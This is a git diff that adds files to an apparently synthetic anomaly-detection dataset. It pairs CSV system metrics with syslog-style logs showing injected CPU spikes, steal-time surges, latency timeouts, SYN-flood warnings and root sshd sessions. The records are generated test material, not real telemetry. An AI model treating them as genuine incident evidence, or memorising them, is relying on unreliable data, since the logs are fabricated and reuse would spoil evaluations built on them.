[1365.000000]: TCP: request_sock_TCP: Possible SYN flooding on port 443. Dropping request. +Jul 02 12:02:55 web-app[4512]: WARN API call to user-database took 4483ms, exceeding the 2000ms threshold +Jul 02 12:03:20 nginx[1150]: GET /api/v1/user-profile HTTP/1.1 504 Gateway Time-out +Jul 02 12:03:40 kernel: [1420.000000]: TCP: request_sock_TCP: Possible SYN flooding on port 443. Dropping request. +Jul 02 12:04:10 web-app[4512]: ERROR upstream request timeout to inventory-api:8080 after 3 retries +Jul 02 12:04:20 web-app[4512]: ERROR upstream request timeout to payment-service:1345 after 3 retries +Jul 02 12:04:25 kernel: [1465.000000]: TCP: request_sock_TCP: Possible SYN flooding on port 80. Dropping request. +Jul 02 12:04:30 kernel: [1470.000000]: TCP: request_sock_TCP: Possible SYN flooding on port 443. Dropping request. +Jul 02 12:04:35 web-app[4512]: ERROR upstream request timeout to inventory-api:5432 after 3 retries +kubelet[3102]: INFO routine sync completed for pod web-app-v2 +kubelet[3102]: INFO routine sync completed for pod web-app-v3 +sshd[web-app-v1]: session opened for user root by (uid=0) +sshd[web-app-v2]: session opened for user root by (uid=0) \ No newline at end of file diff --git a/anom_dataset/scenario_5/anom_5_20.csv b/anom_dataset/scenario_5/anom_5_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..15da14b68d08d0a29aa78db81e592ccbd38b470d --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal,mem_usage,disk_io,net_in,net_out +2025-08-24T10:00:00Z,19.67,0.32,40.98,22.77,0.83,1.0 +2025-08-24T10:00:05Z,19.13,0.06,47.27,29.8,1.48,0.98 +2025-08-24T10:00:10Z,21.24,0.32,46.72,20.16,0.79,1.62 +2025-08-24T10:00:15Z,16.15,0.32,43.53,13.48,0.63,1.75 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b/anom_dataset/scenario_5/anom_5_20.log @@ -0,0 +1,39 @@ +Aug 24 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 24 10:00:00 app-server[1123]: INFO GET /api/v1/user/812/profile 200 OK (129ms) +Aug 24 10:00:35 app-server[1123]: INFO GET /api/v1/user/628/profile 200 OK (70ms) +Aug 24 10:01:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 24 10:01:10 app-server[1123]: INFO GET /api/v1/user/457/profile 200 OK (117ms) +Aug 24 10:01:15 CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 10:01:45 app-server[1123]: INFO GET /api/v1/user/493/profile 200 OK (90ms) +Aug 24 10:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 24 10:02:20 app-server[1123]: INFO GET /api/v1/user/206/profile 200 OK (90ms) +Aug 24 10:02:30 CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 10:02:35 app-server[1123]: WARN High-latency request detected for /api/v1/search. Response time: 3780ms +Aug 24 10:02:40 app-server[1123]: WARN High-latency request detected for /api/v1/search. Response time: 3226ms +Aug 24 10:02:50 app-server[1123]: WARN High-latency request detected for /api/v1/cart/checkout. Response time: 2688ms +Aug 24 10:02:55 app-server[1123]: INFO GET /api/v1/user/240/profile 200 OK (69ms) +Aug 24 10:02:55 app-server[1123]: WARN High-latency request detected for /api/v1/search. Response time: 2925ms +Aug 24 10:03:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 24 10:03:00 app-server[1123]: ERROR Request timed out for user 552 on endpoint /api/v1/data/export after 5000ms +Aug 24 10:03:05 app-server[1123]: ERROR Request timed out for user 290 on endpoint /api/v1/cart/checkout after 5000ms +Aug 24 10:03:30 app-server[1123]: INFO GET /api/v1/user/843/profile 200 OK (83ms) +Aug 24 10:03:30 app-server[1123]: ERROR Request timed out for user 494 on endpoint /api/v1/cart/checkout after 5000ms +Aug 24 10:03:45 CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 10:03:50 app-server[1123]: WARN High-latency request detected for /api/v1/data/export. Response time: 4450ms +Aug 24 10:04:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 24 10:04:05 app-server[1123]: INFO GET /api/v1/user/137/profile 200 OK (74ms) +Aug 24 10:04:05 app-server[1123]: ERROR Request timed out for user 713 on endpoint /api/v1/search after 5000ms +Aug 24 10:04:35 app-server[1123]: ERROR Request timed out for user 722 on endpoint /api/v1/search after 5000ms +Aug 24 10:04:40 app-server[1123]: INFO GET /api/v1/user/484/profile 200 OK (78ms) +Aug 24 10:04:40 app-server[1123]: ERROR Request timed out for user 927 on endpoint /api/v1/data/export after 5000ms +Aug 24 10:04:50 app-server[1123]: WARN High-latency request detected for /api/v1/cart/checkout. Response time: 2767ms +Aug 24 10:04:55 app-server[1123]: ERROR Request timed out for user 383 on endpoint /api/v1/cart/checkout after 5000ms +Aug 24 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 24 10:05:00 CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 10:05:15 app-server[1123]: INFO GET /api/v1/user/246/profile 200 OK (79ms) +Aug 24 10:05:50 app-server[1123]: INFO GET /api/v1/user/312/profile 200 OK (101ms) +Aug 24 10:06:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 24 10:06:15 CRON[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 10:06:25 app-server[1123]: INFO GET /api/v1/user/453/profile 200 OK (91ms) +Aug 24 10:07:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 24 10:07:00 app-server[1123]: INFO GET /api/v1/user/813/profile 200 OK (59ms) diff --git a/anom_dataset/scenario_5/anom_5_21.csv b/anom_dataset/scenario_5/anom_5_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..a0cf69833b6d8af9529af863a995c3ff7ef10ba5 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-25T10:00:00Z,27.62,40.57,30.91,1.18,1.44 +2025-08-25T10:00:05Z,31.86,34.77,10.0,1.17,0.62 +2025-08-25T10:00:10Z,28.0,44.6,15.51,1.17,1.18 +2025-08-25T10:00:15Z,26.41,36.5,29.74,0.77,0.85 +2025-08-25T10:00:20Z,24.99,35.24,12.73,1.33,1.33 +2025-08-25T10:00:25Z,38.93,34.12,24.89,1.22,1.71 +2025-08-25T10:00:30Z,26.86,37.8,13.85,0.72,0.68 +2025-08-25T10:00:35Z,21.91,42.32,22.59,0.62,0.94 +2025-08-25T10:00:40Z,14.82,38.27,34.78,1.6,0.9 +2025-08-25T10:00:45Z,20.7,37.34,37.73,1.04,0.89 +2025-08-25T10:00:50Z,29.9,33.2,22.06,0.95,1.67 +2025-08-25T10:00:55Z,24.65,41.81,26.81,1.12,1.13 +2025-08-25T10:01:00Z,18.31,30.01,26.93,1.33,1.25 +2025-08-25T10:01:05Z,24.2,46.44,11.36,1.14,1.77 +2025-08-25T10:01:10Z,23.33,35.84,16.68,1.38,1.74 +2025-08-25T10:01:15Z,34.36,35.17,31.53,1.0,1.03 +2025-08-25T10:01:20Z,23.56,38.8,26.98,0.73,1.79 +2025-08-25T10:01:25Z,31.7,38.39,23.72,1.01,0.95 +2025-08-25T10:01:30Z,28.83,47.12,21.19,0.96,0.57 +2025-08-25T10:01:35Z,28.83,50.0,22.87,1.0,1.03 +2025-08-25T10:01:40Z,23.21,36.08,22.65,1.29,1.8 +2025-08-25T10:01:45Z,22.01,43.1,29.18,0.89,1.63 +2025-08-25T10:01:50Z,22.11,36.9,19.59,0.37,0.86 +2025-08-25T10:01:55Z,31.8,39.53,19.9,0.85,1.32 +2025-08-25T10:02:00Z,24.99,43.19,30.43,1.42,0.95 +2025-08-25T10:02:05Z,28.54,39.05,10.0,0.38,0.85 +2025-08-25T10:02:10Z,24.45,42.84,19.55,1.19,1.12 +2025-08-25T10:02:15Z,24.6,34.52,35.47,1.15,1.46 +2025-08-25T10:02:20Z,19.74,45.69,19.52,0.78,1.37 +2025-08-25T10:02:25Z,30.26,41.05,22.59,1.29,2.35 +2025-08-25T10:02:30Z,28.05,34.25,27.8,1.2,1.77 +2025-08-25T10:02:35Z,32.34,42.65,14.74,0.89,1.39 +2025-08-25T10:02:40Z,55.36,33.24,18.99,1.07,0.9 +2025-08-25T10:02:45Z,62.23,35.82,25.12,0.9,0.87 +2025-08-25T10:02:50Z,73.05,37.25,28.9,0.88,1.34 +2025-08-25T10:02:55Z,32.42,48.34,23.24,1.04,0.46 +2025-08-25T10:03:00Z,71.09,36.45,21.94,0.76,1.47 +2025-08-25T10:03:05Z,39.22,44.2,43.74,1.01,0.41 +2025-08-25T10:03:10Z,43.18,39.36,27.31,0.78,0.81 +2025-08-25T10:03:15Z,34.9,39.14,41.47,1.04,1.81 +2025-08-25T10:03:20Z,32.76,50.0,15.54,0.68,1.31 +2025-08-25T10:03:25Z,46.82,44.31,22.69,1.06,1.44 +2025-08-25T10:03:30Z,40.81,33.49,22.85,0.78,1.45 +2025-08-25T10:03:35Z,45.43,50.0,29.41,0.81,1.23 +2025-08-25T10:03:40Z,40.5,44.55,32.06,1.3,1.29 +2025-08-25T10:03:45Z,69.13,41.34,21.05,0.63,1.21 +2025-08-25T10:03:50Z,37.53,38.8,22.07,0.89,0.99 +2025-08-25T10:03:55Z,38.17,44.6,29.12,0.77,1.34 +2025-08-25T10:04:00Z,20.68,47.28,31.52,0.88,1.32 +2025-08-25T10:04:05Z,56.6,34.27,31.95,0.89,0.98 +2025-08-25T10:04:10Z,33.8,47.5,31.37,1.08,1.04 +2025-08-25T10:04:15Z,73.9,36.06,26.54,1.43,0.74 +2025-08-25T10:04:20Z,62.43,33.42,24.3,0.71,1.4 +2025-08-25T10:04:25Z,60.7,47.22,40.39,1.22,1.65 +2025-08-25T10:04:30Z,48.87,46.21,12.82,1.2,1.66 +2025-08-25T10:04:35Z,27.11,42.97,19.4,1.08,1.42 +2025-08-25T10:04:40Z,35.09,44.84,38.62,1.28,0.74 +2025-08-25T10:04:45Z,33.15,44.24,23.81,0.95,0.69 +2025-08-25T10:04:50Z,35.15,30.0,25.0,0.72,1.11 +2025-08-25T10:04:55Z,42.36,40.66,16.14,0.94,1.98 +2025-08-25T10:05:00Z,26.61,42.45,16.11,1.33,1.53 +2025-08-25T10:05:05Z,27.91,40.19,27.93,0.96,1.85 +2025-08-25T10:05:10Z,20.46,31.39,31.55,0.59,1.64 +2025-08-25T10:05:15Z,19.62,47.94,32.6,0.95,1.56 +2025-08-25T10:05:20Z,25.95,41.08,20.76,1.12,0.92 +2025-08-25T10:05:25Z,28.22,43.62,26.98,0.26,0.38 +2025-08-25T10:05:30Z,23.89,46.09,17.16,0.65,1.46 +2025-08-25T10:05:35Z,40.0,38.47,22.79,1.42,0.95 +2025-08-25T10:05:40Z,27.6,33.87,11.62,1.07,1.3 +2025-08-25T10:05:45Z,21.17,45.5,25.18,0.77,1.11 +2025-08-25T10:05:50Z,28.37,44.57,10.0,0.58,1.61 +2025-08-25T10:05:55Z,25.44,40.19,32.55,1.01,1.42 +2025-08-25T10:06:00Z,19.76,34.45,25.86,0.91,1.01 +2025-08-25T10:06:05Z,23.06,31.67,27.64,0.96,1.16 +2025-08-25T10:06:10Z,26.17,38.06,27.45,0.57,1.61 +2025-08-25T10:06:15Z,29.23,34.8,35.45,0.91,1.83 +2025-08-25T10:06:20Z,27.2,37.52,24.53,0.27,0.76 +2025-08-25T10:06:25Z,26.24,36.65,10.51,0.91,1.23 +2025-08-25T10:06:30Z,30.58,45.02,19.65,0.99,0.79 +2025-08-25T10:06:35Z,28.47,43.78,10.0,1.34,0.3 +2025-08-25T10:06:40Z,25.7,37.28,25.73,0.87,1.22 +2025-08-25T10:06:45Z,17.6,42.04,37.63,0.71,1.75 +2025-08-25T10:06:50Z,31.11,43.72,22.28,1.12,0.46 +2025-08-25T10:06:55Z,22.99,32.59,27.89,1.25,1.28 +2025-08-25T10:07:00Z,17.85,37.68,20.75,1.39,1.73 +2025-08-25T10:07:05Z,24.25,39.45,31.29,0.82,1.05 +2025-08-25T10:07:10Z,35.57,39.01,15.18,0.47,0.53 +2025-08-25T10:07:15Z,21.83,35.1,22.01,0.39,1.41 +2025-08-25T10:07:20Z,24.14,47.34,17.38,0.7,1.49 +2025-08-25T10:07:25Z,21.65,39.47,20.03,0.55,1.03 diff --git a/anom_dataset/scenario_5/anom_5_21.log b/anom_dataset/scenario_5/anom_5_21.log new file mode 100644 index 0000000000000000000000000000000000000000..9a3bf91036ebf3223410d4ee83da1f480cf37e9f --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_21.log @@ -0,0 +1,32 @@ +Aug 25 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 25 10:00:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 10:00:25 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Aug 25 10:00:35 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 25 10:00:50 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 10:01:10 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 25 10:01:40 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 10:01:45 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 25 10:02:05 CRON[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 10:02:20 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 25 10:02:40 apiserver[1199]: WARN High latency detected for API endpoint /api/data. Average response time: 5358ms. +Aug 25 10:02:40 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 25 10:02:55 payment-service[4512]: ERROR Request to service 'user-auth' timed out after 3000ms. +Aug 25 10:03:10 apiserver[1199]: WARN High latency detected for API endpoint /api/data. Average response time: 3909ms. +Aug 25 10:03:20 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 25 10:03:30 payment-service[4512]: ERROR Request to service 'user-auth' timed out after 3000ms. +Aug 25 10:03:45 apiserver[1199]: WARN High latency detected for API endpoint /api/data. Average response time: 5038ms. +Aug 25 10:04:00 db-connector[5623]: WARN Database query execution time exceeded threshold: 4.88s. +Aug 25 10:04:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 25 10:04:10 payment-service[4512]: ERROR Request to service 'user-auth' timed out after 3000ms. +Aug 25 10:04:20 apiserver[1199]: WARN High latency detected for API endpoint /api/data. Average response time: 4461ms. +Aug 25 10:04:35 db-connector[5623]: WARN Database query execution time exceeded threshold: 5.68s. +Aug 25 10:04:40 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 25 10:04:50 apiserver[1199]: WARN High latency detected for API endpoint /api/data. Average response time: 4101ms. +Aug 25 10:05:20 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 25 10:05:25 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 10:05:55 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 25 10:06:15 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 10:06:30 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 25 10:06:40 systemd[1]: Finished Daily apt download activities. +Aug 25 10:07:05 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 25 10:07:05 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK diff --git a/anom_dataset/scenario_5/anom_5_22.csv b/anom_dataset/scenario_5/anom_5_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..16af6676cd5fa9fa9f58863ec4440e07e1d18be4 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,steal_time,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,28.78,0.14,43.14,35.76,0.67,0.93 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+2025-07-02T10:01:35Z,22.77,0.00,42.51,18.26,0.58,1.72 +2025-07-02T10:01:40Z,16.47,0.28,36.95,25.04,0.61,1.28 +2025-07-02T10:01:45Z,30.89,0.34,37.73,28.37,1.08,1.26 +2025-07-02T10:01:50Z,22.08,0.20,44.60,25.79,1.46,1.41 +2025-07-02T10:01:55Z,31.18,0.10,40.06,19.39,1.15,1.23 +2025-07-02T10:02:00Z,32.20,0.06,43.52,22.87,1.50,1.48 +2025-07-02T10:02:05Z,15.07,0.21,40.51,23.96,1.09,1.00 +2025-07-02T10:02:10Z,25.42,0.33,38.53,19.96,0.80,0.96 +2025-07-02T10:02:15Z,15.21,0.18,45.27,19.32,0.65,1.70 +2025-07-02T10:02:20Z,24.13,0.40,37.44,31.47,0.98,0.98 +2025-07-02T10:02:25Z,33.19,0.19,39.97,18.23,0.62,1.64 +2025-07-02T10:02:30Z,20.56,0.37,41.35,32.34,0.94,0.92 +2025-07-02T10:02:35Z,29.05,0.43,43.01,26.01,0.70,1.76 +2025-07-02T10:02:40Z,20.36,0.23,41.92,22.41,0.78,1.25 +2025-07-02T10:02:45Z,30.49,0.24,43.70,28.52,1.18,1.18 +2025-07-02T10:02:50Z,37.94,0.23,39.79,21.37,0.54,1.28 +2025-07-02T10:02:55Z,20.70,0.09,40.46,26.52,1.45,1.25 +2025-07-02T10:03:00Z,17.98,0.10,45.70,22.50,1.44,1.23 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+2025-07-02T10:04:30Z,23.18,27.10,39.25,18.55,1.31,1.38 +2025-07-02T10:04:35Z,16.21,33.83,39.12,26.04,0.84,1.70 +2025-07-02T10:04:40Z,23.63,34.14,39.71,35.26,0.88,0.88 +2025-07-02T10:04:45Z,20.94,29.76,42.44,19.32,0.60,1.77 +2025-07-02T10:04:50Z,21.31,38.23,35.89,22.88,1.43,1.21 +2025-07-02T10:04:55Z,17.66,36.18,41.29,21.08,0.89,1.78 +2025-07-02T10:05:00Z,20.57,0.08,38.72,26.44,1.29,1.15 +2025-07-02T10:05:05Z,26.82,0.40,40.97,30.75,1.22,1.56 +2025-07-02T10:05:10Z,20.52,0.48,42.63,22.04,0.56,0.98 +2025-07-02T10:05:15Z,24.07,0.05,40.24,27.62,1.01,1.59 +2025-07-02T10:05:20Z,24.52,0.02,37.54,22.42,0.59,1.11 +2025-07-02T10:05:25Z,30.51,0.32,40.21,26.95,0.76,1.00 +2025-07-02T10:05:30Z,32.87,0.17,43.96,14.17,0.98,1.59 +2025-07-02T10:05:35Z,18.17,0.34,37.03,29.95,1.18,1.11 +2025-07-02T10:05:40Z,11.53,0.29,37.19,25.61,0.96,0.84 +2025-07-02T10:05:45Z,22.27,0.13,43.53,20.82,1.48,1.58 +2025-07-02T10:05:50Z,22.59,0.22,44.78,28.95,0.75,1.74 +2025-07-02T10:05:55Z,20.91,0.18,38.84,17.14,1.03,0.96 +2025-07-02T10:06:00Z,25.44,0.19,38.12,29.07,1.04,1.44 +2025-07-02T10:06:05Z,23.74,0.30,37.69,35.07,0.52,1.08 +2025-07-02T10:06:10Z,19.65,0.24,41.77,16.49,0.74,1.32 +2025-07-02T10:06:15Z,22.49,0.35,37.17,17.03,1.15,1.29 +2025-07-02T10:06:20Z,26.01,0.09,41.47,26.18,0.63,1.34 +2025-07-02T10:06:25Z,18.86,0.05,39.74,25.40,1.24,1.48 +2025-07-02T10:06:30Z,13.04,0.03,38.46,23.15,0.75,1.36 +2025-07-02T10:06:35Z,35.94,0.08,43.01,29.48,1.27,1.13 +2025-07-02T10:06:40Z,19.19,0.31,35.88,23.45,0.78,1.51 +2025-07-02T10:06:45Z,35.18,0.23,36.25,24.97,0.53,1.24 +2025-07-02T10:06:50Z,29.16,0.15,43.31,24.59,0.97,1.13 +2025-07-02T10:06:55Z,25.99,0.17,44.29,23.14,0.52,1.54 +2025-07-02T10:07:00Z,28.28,0.14,40.64,31.14,0.78,1.65 +2025-07-02T10:07:05Z,21.86,0.17,38.32,21.34,0.61,1.14 +2025-07-02T10:07:10Z,30.58,0.46,40.82,23.59,1.34,1.41 +2025-07-02T10:07:15Z,29.26,0.02,40.63,29.60,1.44,1.56 +2025-07-02T10:07:20Z,33.84,0.11,32.53,30.81,1.19,1.27 +2025-07-02T10:07:25Z,29.86,0.19,37.73,25.44,0.76,1.41 diff --git a/anom_dataset/scenario_5/anom_5_22.log b/anom_dataset/scenario_5/anom_5_22.log new file mode 100644 index 0000000000000000000000000000000000000000..8675dc570c71518c19d47a50e869efc9138a3e03 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_22.log @@ -0,0 +1,21 @@ +Jul 02 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:50 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:01:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:05 CRON[18901]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:02:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:20 web-app[1234]: ERROR upstream service at 10.1.2.3:8080 failed to respond within 5s +Jul 02 10:03:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 02 10:03:30 web-app[1234]: WARN GET /api/v1/data request processing time 5.6s exceeded threshold of 2.0s +Jul 02 10:03:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 02 10:04:05 web-app[1234]: WARN GET /api/v1/data request processing time 9.4s exceeded threshold of 2.0s +Jul 02 10:04:10 web-app[1234]: ERROR upstream service at 10.1.2.3:8080 failed to respond within 5s +Jul 02 10:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 02 10:04:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 02 10:04:40 web-app[1234]: WARN GET /api/v1/data request processing time 9.2s exceeded threshold of 2.0s +Jul 02 10:05:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:15 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Jul 02 10:06:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:07:20 kubelet[2345]: INFO routine sync completed for pod web-app diff --git a/anom_dataset/scenario_5/anom_5_23.csv b/anom_dataset/scenario_5/anom_5_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..50d886256f28df3fa6d8b9afdb47cd7edf4bc2a9 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,19.02,0.39,44.96,22.48,1.1,0.54 +2025-08-15T10:00:05Z,27.47,0.46,39.27,18.91,0.43,0.63 +2025-08-15T10:00:10Z,16.1,0.24,36.56,31.65,1.49,0.67 +2025-08-15T10:00:15Z,27.63,0.23,37.97,29.09,0.45,1.38 +2025-08-15T10:00:20Z,16.08,0.31,35.36,17.66,0.5,1.93 +2025-08-15T10:00:25Z,17.62,0.21,41.63,18.76,0.6,1.48 +2025-08-15T10:00:30Z,29.38,0.34,38.5,33.4,0.45,2.0 +2025-08-15T10:00:35Z,23.39,0.1,36.81,23.99,0.56,1.38 +2025-08-15T10:00:40Z,16.11,0.08,36.65,26.79,1.22,0.95 +2025-08-15T10:00:45Z,27.02,0.45,40.55,19.3,0.72,0.72 +2025-08-15T10:00:50Z,20.74,0.09,40.24,18.88,0.91,1.22 +2025-08-15T10:00:55Z,20.76,0.42,39.73,16.13,0.34,0.68 +2025-08-15T10:01:00Z,16.02,0.06,41.1,30.61,1.0,1.16 +2025-08-15T10:01:05Z,21.21,0.48,39.37,17.57,1.2,0.81 +2025-08-15T10:01:10Z,28.26,0.22,40.96,25.76,0.73,0.92 +2025-08-15T10:01:15Z,28.57,0.19,44.05,33.2,1.11,1.52 +2025-08-15T10:01:20Z,17.55,0.24,35.11,25.7,1.04,0.57 +2025-08-15T10:01:25Z,17.81,0.22,38.23,16.59,0.83,1.92 +2025-08-15T10:01:30Z,23.83,0.22,37.19,21.96,1.05,1.9 +2025-08-15T10:01:35Z,29.73,0.15,42.94,29.05,0.54,1.44 +2025-08-15T10:01:40Z,15.34,0.34,43.72,29.44,0.87,0.96 +2025-08-15T10:01:45Z,16.33,0.19,43.82,21.47,0.58,0.65 +2025-08-15T10:01:50Z,16.69,0.24,44.67,29.45,0.96,1.19 +2025-08-15T10:01:55Z,23.3,0.28,37.29,15.3,0.51,1.54 +2025-08-15T10:02:00Z,26.56,0.5,41.85,23.79,0.83,1.2 +2025-08-15T10:02:05Z,24.43,0.11,42.43,29.97,1.03,1.9 +2025-08-15T10:02:10Z,24.54,0.23,40.87,16.08,0.47,1.7 +2025-08-15T10:02:15Z,15.36,0.06,41.59,16.23,0.67,1.04 +2025-08-15T10:02:20Z,18.41,0.01,42.83,18.94,0.42,1.77 +2025-08-15T10:02:25Z,27.67,0.06,35.01,20.06,1.37,0.75 +2025-08-15T10:02:30Z,23.96,0.31,38.04,18.77,1.31,0.89 +2025-08-15T10:02:35Z,20.39,0.38,42.6,28.89,1.0,1.63 +2025-08-15T10:02:40Z,26.75,0.34,39.0,23.33,1.29,0.7 +2025-08-15T10:02:45Z,20.49,0.19,44.54,34.25,0.37,1.19 +2025-08-15T10:02:50Z,15.37,0.22,40.73,31.48,1.24,1.77 +2025-08-15T10:02:55Z,15.55,0.48,38.31,21.67,0.52,1.11 +2025-08-15T10:03:00Z,21.15,0.29,36.34,22.16,1.23,1.72 +2025-08-15T10:03:05Z,23.48,0.45,38.67,21.88,0.47,1.02 +2025-08-15T10:03:10Z,19.63,0.04,41.34,34.82,0.96,1.07 +2025-08-15T10:03:15Z,22.62,0.49,40.2,23.0,0.77,0.65 +2025-08-15T10:03:20Z,28.84,22.59,41.81,32.93,0.4,1.89 +2025-08-15T10:03:25Z,29.2,15.0,39.79,33.99,0.97,1.08 +2025-08-15T10:03:30Z,18.02,20.58,38.28,33.24,1.5,1.69 +2025-08-15T10:03:35Z,16.08,21.86,36.68,34.09,1.12,1.58 +2025-08-15T10:03:40Z,26.28,18.97,41.73,17.39,0.65,0.59 +2025-08-15T10:03:45Z,22.1,16.96,35.68,31.62,1.02,1.26 +2025-08-15T10:03:50Z,15.5,16.15,35.5,28.5,1.07,0.64 +2025-08-15T10:03:55Z,29.64,19.23,37.66,27.7,0.97,0.89 +2025-08-15T10:04:00Z,26.02,21.5,43.81,16.45,0.79,1.22 +2025-08-15T10:04:05Z,18.64,18.53,41.44,28.23,0.79,1.53 +2025-08-15T10:04:10Z,25.92,22.95,42.98,30.91,1.41,1.19 +2025-08-15T10:04:15Z,19.61,18.8,37.68,32.71,1.49,1.96 +2025-08-15T10:04:20Z,22.13,22.3,35.47,24.47,1.09,0.88 +2025-08-15T10:04:25Z,23.61,23.68,36.72,23.24,1.46,1.3 +2025-08-15T10:04:30Z,21.78,19.58,38.0,17.04,1.34,1.32 +2025-08-15T10:04:35Z,18.03,19.73,37.31,15.53,0.72,0.53 +2025-08-15T10:04:40Z,20.23,19.62,40.03,25.42,1.4,0.86 +2025-08-15T10:04:45Z,23.9,16.71,42.78,28.04,1.45,1.48 +2025-08-15T10:04:50Z,27.17,17.0,40.5,27.55,0.89,0.7 +2025-08-15T10:04:55Z,16.21,20.23,43.48,18.34,0.31,1.61 +2025-08-15T10:05:00Z,23.65,24.71,42.1,23.49,0.33,0.87 +2025-08-15T10:05:05Z,27.78,21.66,39.42,18.17,0.78,1.65 +2025-08-15T10:05:10Z,20.02,21.05,38.76,27.16,0.72,0.92 +2025-08-15T10:05:15Z,20.84,16.48,44.92,17.39,1.21,0.55 +2025-08-15T10:05:20Z,23.64,21.24,39.95,24.23,1.43,1.21 +2025-08-15T10:05:25Z,20.85,23.62,35.83,17.67,1.36,0.53 +2025-08-15T10:05:30Z,16.59,16.08,43.37,32.38,1.35,0.92 +2025-08-15T10:05:35Z,26.81,15.1,41.51,21.0,0.76,0.66 +2025-08-15T10:05:40Z,18.89,18.85,42.74,27.17,1.35,1.76 +2025-08-15T10:05:45Z,21.54,23.71,41.42,16.0,1.45,1.91 +2025-08-15T10:05:50Z,18.71,0.23,44.49,26.04,0.93,1.54 +2025-08-15T10:05:55Z,16.14,0.31,37.89,19.09,1.33,0.89 +2025-08-15T10:06:00Z,26.34,0.14,40.74,23.45,0.5,0.69 +2025-08-15T10:06:05Z,27.54,0.21,41.36,17.01,0.71,0.64 +2025-08-15T10:06:10Z,25.76,0.3,43.53,20.83,1.18,1.3 +2025-08-15T10:06:15Z,26.8,0.17,43.34,27.91,0.85,1.55 +2025-08-15T10:06:20Z,24.83,0.36,39.21,33.93,0.66,0.52 +2025-08-15T10:06:25Z,28.55,0.31,40.54,25.11,1.0,0.78 +2025-08-15T10:06:30Z,16.98,0.24,37.86,17.82,1.12,1.26 +2025-08-15T10:06:35Z,18.48,0.46,40.72,26.02,1.37,1.78 +2025-08-15T10:06:40Z,24.77,0.08,44.94,20.87,0.33,1.78 +2025-08-15T10:06:45Z,16.98,0.08,39.16,16.5,0.6,0.88 +2025-08-15T10:06:50Z,21.27,0.43,43.51,20.8,0.83,0.78 +2025-08-15T10:06:55Z,16.55,0.38,44.58,21.27,0.57,1.4 +2025-08-15T10:07:00Z,28.0,0.29,42.25,21.99,1.28,1.68 +2025-08-15T10:07:05Z,22.02,0.4,42.44,27.88,1.47,1.03 +2025-08-15T10:07:10Z,20.84,0.18,39.01,25.79,1.16,1.11 +2025-08-15T10:07:15Z,24.41,0.19,37.91,30.72,0.98,1.38 +2025-08-15T10:07:20Z,22.27,0.47,37.64,31.65,0.57,1.18 +2025-08-15T10:07:25Z,21.39,0.2,37.79,20.11,1.11,0.93 diff --git 